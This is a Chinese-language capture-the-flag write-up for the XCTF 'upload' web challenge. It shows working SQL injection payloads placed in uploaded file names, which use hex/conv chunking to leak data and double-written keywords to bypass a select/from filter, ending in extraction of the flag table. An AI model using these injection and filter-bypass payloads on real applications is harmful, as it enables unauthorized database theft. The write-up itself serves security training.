[每日write up][XCTF][Web]upload
本文最后更新于 608 天前,其中的信息可能已经有所发展或是发生改变。

登入进去有个upload,会将文件名存储到数据库中再显示到web上

XCTFupload1 1024x599.png-

payload 1′.txt:

XCTFupload2 1024x889.png-1

什么都没有返回

试试database():

payload:

‘+database()+’.jpg

XCTFupload3.png-2

返回个0

重新构造payload,用hex()转成16进制

payload:

‘+hex(database())+’.jpg

XCTFupload4.png-3

返回的数据解码是’v~y’返回的数据少了

试着先转成16进制再转成10进制

payload:

‘+conv(hex(database()),16,10)+’.jpg

XCTFupload5.png-4

返回了,不过是科学计数法返回的

让数据分段返回 🙁

payloads:

‘+(conv(substr(hex(database()),1,12),16,10))+’.jpg
‘+(conv(substr(hex(database()),13,12),16,10))+’.jpg

XCTFupload8.png-5

XCTFupload7.png-6

XCTFupload6.png-7

decode得到database(payload多加个括号整齐一些)

有了database可以找表名了 🙂

paylaod:

‘+(conv(substr(hex(select table_name from information_schema.tables where table_schema=’web_upload’ limit 1,1),1,12),16,10))+’.jpg

XCTFupload9.png-8

返回了,但没完全返回Xd

可能是select和from被过滤了,试试用双写绕过:

payloads:

‘+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema=’web_upload’ limit 1,1)),1,12),16,10))+’.jpg
‘+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema=’web_upload’ limit 1,1)),13,12),16,10))+’.jpg
‘+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema=’web_upload’ limit 1,1)),25,12),16,10))+’.jpg

decode得到表名

XCTFupload10.png-9

XCTFupload11.png-10

按照上个payload的思路爆列名:

payloads:

‘+(conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name=’hello_flag_is_here’ limit 0,1)),1,12),16,10))+’.jpg”
‘+(conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name=’hello_flag_is_here’ limit 0,1)),13,12),16,10))+’.jpg”

decode得到列名

XCTFupload12.png-11

XCTFupload13.png-12

得到flag:

payloads:

‘+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+’.jpg
‘+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),13,12),16,10))+’.jpg
‘+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),25,12),16,10))+’.jpg

XCTFupload15.png-13

XCTFupload14.png-14

decode得到列名

评论

  1. Avatar photo
    博主
    2 年前
    2022-8-02 19:47:53

    排版变惹,编辑的时候排的很好来着 🙁

  2. Avatar photo
    博主
    已编辑
    2 年前
    2022-8-04 8:14:50

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
贴吧
颜文字
Emoji
小恐龙
花!
贴吧
上一篇
下一篇